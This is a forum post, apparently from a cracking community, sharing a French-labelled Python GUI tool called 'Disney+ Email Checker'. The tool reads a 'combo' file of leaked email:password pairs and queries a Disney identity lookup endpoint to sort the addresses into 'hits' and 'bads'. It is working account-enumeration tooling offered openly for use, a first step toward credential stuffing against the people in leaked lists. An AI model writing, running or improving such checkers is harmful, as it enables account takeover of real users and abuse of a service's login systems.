(13 June, 2025 - 05:55 PM)IMROG Wrote: Show More
import tkinter as tk
from tkinter import filedialog, messagebox
import requests
import threading
def check_disney_email(email):
url = "https://global.edge.bamgrid.com/identity/idp/lookup"
headers = {
"Content-Type": "application/json",
"User-Agent": "DisneyPlus/1.0"
}
data = {
"email": email
}
try:
response = requests.post(url, json=data, headers=headers)
if response.status_code == 200:
json_data = response.json()
return "HIT" if json_data.get("found", False) else "BAD"
else:
return "ERROR"
except Exception as e:
return f"ERROR ({e})"
def start_check():
combo_file = filedialog.askopenfilename(title="Sélectionne ton combo (email:pass)")
if not combo_file:
return
with open(combo_file, "r", encoding="utf-8") as f:
lines = f.read().splitlines()
emails = list({line.split(":")[0].strip() for line in lines if ":" in line})
output_text.delete(1.0, tk.END)
output_text.insert(tk.END, f"? Vérification de {len(emails)} emails...\n")
def check_all():
with open("hits.txt", "w") as hit_file, open("bads.txt", "w") as bad_file:
for email in emails:
status = check_disney_email(email)
result_line = f"{email} --> {status}\n"
output_text.insert(tk.END, result_line)
output_text.see(tk.END)
if status == "HIT":
hit_file.write(f"{email}\n")
elif status == "BAD":
bad_file.write(f"{email}\n")
messagebox.showinfo("Terminé", "✅ Vérification terminée !")
threading.Thread(target=check_all).start()
# UI setup
root = tk.Tk()
root.title("Disney+ Email Checker")
root.geometry("500x400")
root.resizable(False, False)
title_label = tk.Label(root, text="Disney+ Mail Checker", font=("Arial", 16, "bold"))
title_label.pack(pady=10)
load_button = tk.Button(root, text="? Charger un fichier combo", command=start_check, font=("Arial", 12))
load_button.pack(pady=10)
output_text = tk.Text(root, wrap=tk.WORD, height=15, width=60)
output_text.pack(padx=10, pady=10)
root.mainloop()